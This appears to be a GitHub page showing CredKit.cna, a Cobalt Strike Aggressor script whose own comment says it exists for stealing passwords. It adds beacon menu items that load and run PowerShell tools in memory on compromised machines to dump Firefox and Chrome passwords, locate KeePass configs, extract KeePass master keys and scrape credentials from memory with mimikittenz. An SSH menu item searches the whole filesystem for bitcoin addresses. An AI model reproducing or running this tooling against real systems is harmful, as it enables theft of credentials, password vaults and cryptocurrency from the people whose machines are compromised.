-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathCredKit.cna
76 lines (74 loc) · 2.4 KB
/
CredKit.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# Actions in this kit center around credential theft, be it via memory scraping or reading files in. If it involves stealing passwords, it should be here.
# @Und3rf10w
popup beacon_bottom {
menu "CredKit" {
item "Get Firefox Passwords"{
local('$bid');
foreach $bid ($1){
binput($1, "powershell-import Get-FirefoxPasswords.ps1");
# read in the powershell script
$handle = openf(script_resource("CredKit/scripts/Get-FirefoxPasswords.ps1"));
$firefox_script = readb($handle, -1);
closef($handle);
# host firefox script on beacon
$cmd = beacon_host_script($1, $firefox_script);
binput($bid, "powershell Get-FirefoxPasswords");
sleep(5 * 1000);
# execute in-memory hosted script
bpowerpick($1, "$cmd");
}
}
item "Get Chrome Passwords"{
local('$bid');
foreach $bid ($1){
binput($1, "powershell-import Get-ChromePasswords.ps1");
# read in the powershell script
$handle = openf(script_resource("CredKit/scripts/Get-ChromePasswords.ps1"));
$chrome_script = readb($handle, -1);
closef($handle);
$cmd = beacon_host_script($bid, $chrome_script);
binput($bid, "powerpick Get-ChromePasswords");
sleep(50 * 1000);
# execute in-memory hosted script
bpowerpick($bid, "$cmd");
}
}
item "Find KeePass Config"{
local('$bid');
foreach $bid ($1) {
binput($1, "powershell-import KeePassConfig.ps1");
bpowershell_import($bid, script_resource("CredKit/scripts/KeePassConfig.ps1"));
binput($bid, "powershell Find-KeePassconfig");
bpowershell($bid, "Find-KeePassconfig");
}
}
item "Get KeePass database master key"{
local('$bid');
foreach $bid ($1) {
binput($bid, "powershell-import KeeThief.ps1");
bpowershell_import($bid, script_resource("CredKit/scripts/KeeThief.ps1"));
binput($bid, "powershell Get-KeePassDatabaseKey -Verbose");
bpowershell($bid, "Get-KeePassDatabaseKey -Verbose");
}
}
item "Invoke-mimikittenz"{
local('$bid');
foreach $bid ($1) {
binput($bid, "powershell-import Invoke-mimikittenz.ps1");
bpowershell_import($bid, script_resource("CredKit/scripts/Invoke-mimikittenz.ps1"));
binput($bid, "powershell Invoke-mimikittenz");
bpowershell($bid, "Invoke-mimikittenz");
}
}
}
}
popup ssh {
menu "CredKit" {
item "Find bitcoin addresses"{
local('$bid');
foreach $bid ($1){
bshell($1, 'egrep "^[13][a-km-zA-HJ-NP-Z0-9]{26,33}$" / -R 2>/dev/null');
}
}
}
}